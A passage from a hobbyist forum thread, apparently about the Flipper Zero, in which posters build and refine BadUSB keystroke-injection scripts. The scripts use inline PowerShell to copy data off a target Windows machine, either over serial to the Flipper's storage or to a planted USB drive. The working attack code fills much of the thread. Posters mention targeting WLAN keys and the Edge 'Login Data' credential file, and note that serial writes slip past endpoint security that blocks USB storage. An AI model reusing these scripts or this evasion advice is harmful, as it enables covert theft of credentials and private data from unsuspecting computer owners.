Anyway to save files back to the Flipper using BadUSB?

Hello, will it be possible to add keystroke reflection, like this?


Yes, this should be possible to implement


Does anyone know whether this function has already been implemented on the Flipper by now? or is there a feasible way to make it work on your own?

first post on the forum

by the looks of things no it is still not here yet but hopefully soon…

hey if this is still not a feature… one can play around with having a spare usb drive with a unique name(something like . or _) and plug that into the target computer first before payload execution.
the script will then do its thing and at end move or directly export the data needing to be exfiltrated to the secondary usb drive :smiley:

this method was sugested by hak5 a long time ago and an example of it is somewhere on the youtubes.
not condoning anything here lol but it is something to keep in mind if data exfil like that is important for what you need it to do (this also can be usefull for offline attacks where larger programs like image files and the like are involved)

hope this is a usefull post (as i have seen webhooks here as well)

1 Like

I have a proof of concept for doing this in Windows using Powershell. It has a couple of limitations, but I’m able to have BadUSB run a script, allow it to finish, and then I hit the back button a couple times to get out of BadUSB and (after a programmed delay) it will write data to the Flipper’s storage. It needs more work on COM port handling (and even then, I don’t think it’ll be perfect). I’m going to continue to work on this and post it when I have something I’m happy with.

If anyone wants to make a version of the BadUSB app that will immediately exit itself after a command is run (and switch back to regular Flipper mode), this would improve deployment somewhat.

1 Like

Here we go: flipperzero/badusb/save_to_flipper_poc at main · emptythevoid/flipperzero · GitHub

I’m not an expert on Powershell, and also not an expert on the kind of obfuscation, optimization, etc. that one might find if this were used in a more “Hak5” sort of way. I just had a couple of ideas and was able to get them to work.

What I learned and what is demonstrated:
-How to use Powershell to enumerate COM ports based on Device ID. Basically it will try to determine which COM port the Flipper is connected to, based on Device ID. Obviously this only works if the Device ID is known and/or remains the same.
-How to use Powershell to talk to the Flipper CLI using serial. This was tricky because the CLI is interactive, but we need to interact with it non-interactively. Also tricky because you can’t talk to the CLI while the BadUSB application is running.

1 Like

Hi @emptythevoid,
good work, but there is space of improvement.
I am not a PowerShell expert, I don’t even own a Windows in private.
But the companies I am working for, are MS based and therefore I’ve given some PS scripting lessons.

Disclaimer: This is my personal style, not based on any sense or given sytleguide. Like it or not, it is just a suggestion.


$mydevs = (Get-PnPDevice | Where-Object{$_.PNPClass -in  "WPD","AndroidUsbDeviceClass","Modem","Ports" } | Where-Object{$_.Present -in "True"} | Where-Object{$_.Service -in "usbser"} | Select-Object Name,DeviceID | Sort-Object Name) | Select-String -Pattern 'COM'

You can easily connect different Where-Object' with an -and in one statement.
I don’t know if the Select-Object is needed, because this is in 97% a display format and not useful in automation. Because the result will be the same.
The same with Sort-Object Maybe 99,99% In this case, without a filter clause.

$mydevs = (Get-PnPDevice | Where-Object { $_.PNPClass -in  "WPD","AndroidUsbDeviceClass","Modem","Ports" -and $_.Present -in "True" -and $_.Service -in "usbser" } | Select-String -Pattern 'COM'


$splitcom = $mydevs -split ("COM")
$portnum = $splitcom[1][0]

I do understand why it is split, but for more compact code it could be combined. You are just selecting one element of a ‘create string from list’. Not hard to read:

$portnum = ($mydevs -split ("COM"))[1][0]

Harder, to read, when implemented in the next line:

$port = New-Object System.IO.Ports.SerialPort COM$(($mydevs -split ("COM"))[1][0]),115200,None,8,one

My Idea would be a loop at the beginning

If ($seeFlipperZeroHID){
} Else {
  do all above

But I can’t test, without a windows.

1 Like

Somehow I knew I’d see you. :grin:

Yes, I knew there was more that could be done. I’m the same way - I’m almost always a Linux person when I can. So my work on this was almost entirely pasting together different pieces that did what I needed. Honestly I was pleased it worked at all :sweat_smile:

I’m also pleased that a lot of what you suggest is style, so I’ll blame that on my inexperience with Powershell.

I hadn’t thought about looping though. That’s pretty clever. Once I get some energy back I’ll add these optimizations and see how it goes.

I don’t know if this is good or bad, but I’ll take it as a compliment :wink:

A little lunch break work:

REM Title: Save To Flipper PoC
REM Author: emptythevoid
REM Target: Windows 10 (not tested on Windows 11, yet)
REM Version: 1.0
REM Category: PoC

REM Open Powershell
STRING powershell

REM Flipper will inject the inline powershell and run it.
REM The powershell starts with a delay. This is to give you time to hit BACK twice on the Flipper to get it out of BadUSB mode. Otherwise it wont save data
REM After the delay, the script will try to determine which COM port the Flipper is plugged into and will write a string to the specified file path.

ALTSTRING 1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(((Get-PNPDevice -PresentOnly|Where{$_.InstanceID -match 'USB\\VID_0483\&PID_5740' -and $_.Class -eq "Ports"}) -split "COM")[1][0])",115200,'None',8,'one');$;$p.Write("storage write /ext/apps_data/exfil_data`r`n");$p.Write("Hello World!");$p.Write("$([char] 3)");$p.Close();break}Catch{If(Get-PNPDevice -PresentOnly|Where {$_.InstanceID -match 'HID\\VID_046D\&PID_C529'}){"BadUSB"}Else{"NoFZ";Start-Sleep 4};Start-Sleep 1}}

I was informed it works on Win10. I am not happy with 1000+ characters in one line. It is still POC - I’d like to share.


The PS part could be reduced by over 40 characters, but than the output in the loop is an error:

ALTSTRING 1..600|%{Try{$p=New-Object System.IO.Ports.SerialPort("COM$(((Get-PNPDevice -PresentOnly -Class 'Ports' -InstanceID 'USB\VID_0483&PID_5740*') -split "COM")[1][0])",115200,'None',8,'one');$;$p.Write("storage write /ext/apps_data/exfil_data`r`n");$p.Write("Hello World!");$p.Write("$([char] 3)");$p.Close();break}Catch{Sleep 1}}

Reading the documentation of Get-PnpDevice (PnpDevice) shows we don’t need the |Where.
The last part of my former line was just error handling. But in the end we only need to know ‘is storage present’? So it is reduced to ‘sleep’.


Complement intended! :slight_smile: It certainly wasn’t my intention to distract you from your work, though. Thanks for looking at this. If nothing else, it’s a learning experience for me. You’re very knowledgeable and a prolific poster on the forum, so I’m honored that this interested you.

I don’t like placing everything in a single line, either. I might fiddle with that. This is really cool - I know this question has come up a lot (saving data back to the Flipper). While this is kinda a hack to make it work, I’m really happy that it does work. I will find a time where I can give this some attention and try playing with it.

A first shot to do the same loop in bash/linux.

for i in {1..600}; do if (usb-devices |grep "Vendor=0483 ProdID=5740"); then echo "Storage"; break; elif (usb-devices | grep "Vendor=046d ProdID=c529"); then echo "BadUSB"; sleep 1; else echo "noFZ"; sleep4; fi; done

But I have no idea how to find the correct /dev/ at the moment.
If you have an approach, just replace echo "Storage"

Less chars with lsusb:

for i in {1..600}; do if (lsusb |grep "0483:5740"); then echo "Storage"; break; elif (lsusb | grep "046d:c529"); then echo "BadUSB"; sleep 1; else echo "noFZ"; sleep 4; fi; done
1 Like

This is brilliant! I haven’t been able to spend any time on this, but I definitely want to look at it in depth.

I don’t know whether you have a use for this but I wrote a script that uses PowerShell to exfil a folder structure to a USB you bring along. Just configure 3 variables, plug-in the USB drive and run the Ducky script. Have a look at it if you think this is useful: flipperzero/BadUSB/Ducky Scripts/Offensive/ExfilToUsb.txt at main · Zarcolio/flipperzero · GitHub

I do like the while (-not $f) part. It waits as long as it takes to place a USB stick.
On the downside you need an (prepared) USB drive with you. Even if you could reuse the same port, because of the while.
Create the file can be performed in time, if you know the filename.

At @emptythevoid’s script I intentionally used a loop with 600 cycles, with a delay of 1 sec. So it will run at least 5 minutes, enough time to act. Than just die …
Maybe a termination f the PS window at the end is useful (Note at TODO. Does the Flipper got a Todo list app?).

Today we found out, that some enterprise endpoint security solutions blocks USB Mass storage, but not direct serial write.

So +2 for the script from @emptythevoid

1 Like

While it’s true that mass storage devices are often blocked, I think both scripts have different use cases. Using an ordinary USB drive is less conspicuous than leaving a shiny Flipper Zero on someone’s desk. My script only needs the Flipper to execute the script and the Flipper can be unplugged. Also, if one needs to exfil large amounts of data, how well does that go over a serial connection in contrast to a copy to USB?

1 Like

Not as fast, for sure, but it’s something I’m going to be looking at soon

I tried out adding an exit at the end of the “short” version. I’ll double check to make sure that’s on the repo.

Edit: yes

I’ve tried today on a test system.

  1. The coding doesn’t work in my region. I suggest too replace STRING with ALTSTRING.
    2. But even if the encoding is fixed, the Test-Path could never gets a $true

I remember darkly there was a issue with Test-Path and removeable devices, but I cannot remember the details.

My debugging code so far:

$CopyFrom = "C:\Windows\System32\calc.exe"; $CopyTo = "copy"
$FindMe = "gfhnubkw.txt"; $f = $false
While (-not $f) {
    Foreach ($USBDrive in (Get-WmiObject -Class Win32_Volume -Filter {DriveType=2}).Name) {
        If (Test-Path (Join-Path -Path $USBDrive -ChildPath $FindMe)) {
            $f = $true; Write-Host "Copying... $(((Get-ChildItem $CopyFrom | Measure-Object -Sum Length).Sum)/1MB) MB to $USBDrive, where $(((Get-Volume -DriveLetter $USBDrive.Substring(0,1)).SizeRemaining)/1MB) MB are remaining"
            Copy-Item -Path $CopyFrom -Destination $USBDrive\$CopyTo -Recurse -ErrorAction SilentlyContinue } #;Exit }
    Continue }} #Exit

Is my Win10 (Up to date) the only one, which does not work?
(Join-Path -Path $USBDrive -ChildPath $FindMe) gives the correct result, but the If is always $false. If I perform this on a harddrive by changing the variables, it works.

Also with Test-Path instead of [System.IO.File]::Exists(), I just playes with other know functions.

Edit: Make Code more compact.


Okay, this is some kind of embasassing … It is a fresh windows, so the file extensions where hidden. The script can’t find gfhnubkw.txt.txt

It works.

I was more interested in WLAN keys and user data. Even “%localappdata%\Microsoft\Edge\User Data\Default\Login Data” is only a few kb in size.

But it seems that ‘large data exfiltration’ is a point of interest.
In your example, @Zarcolio, you’re selecting C:\Windows\ and copy this to a USB drive. My fresh C\Windows\ is nearly 30GB … my Test-USB Drive 8GB.

I extended the Write-Host Line:
Write-Host "Copying... $(((Get-ChildItem $CopyFrom | Measure-Object -Sum Length).Sum)/1MB) MB to $e, where $(((Get-Volume -DriveLetter $e).SizeRemaining)/1MB) MB are remaining"
Maybe it is useful to check if the remaining space is enough.

In my tests I wanted to copy a file. The Copy-Item CMDlet writes calc.exe to E:\copy … Maybe some New-Item -ItemType Directory -Force -Path e$\$copy (short md e$\$copy) would help?
No time to test, today. I would not have answered, If my previous post wasn’t so wrong.

1 Like

Been a really long day, no access to personal device today.
Will try tomorrow to have a look.
Maybe better to use ALTSTRING always if some regions have difficulties with STRING.
Will have a look at your code :ok_hand: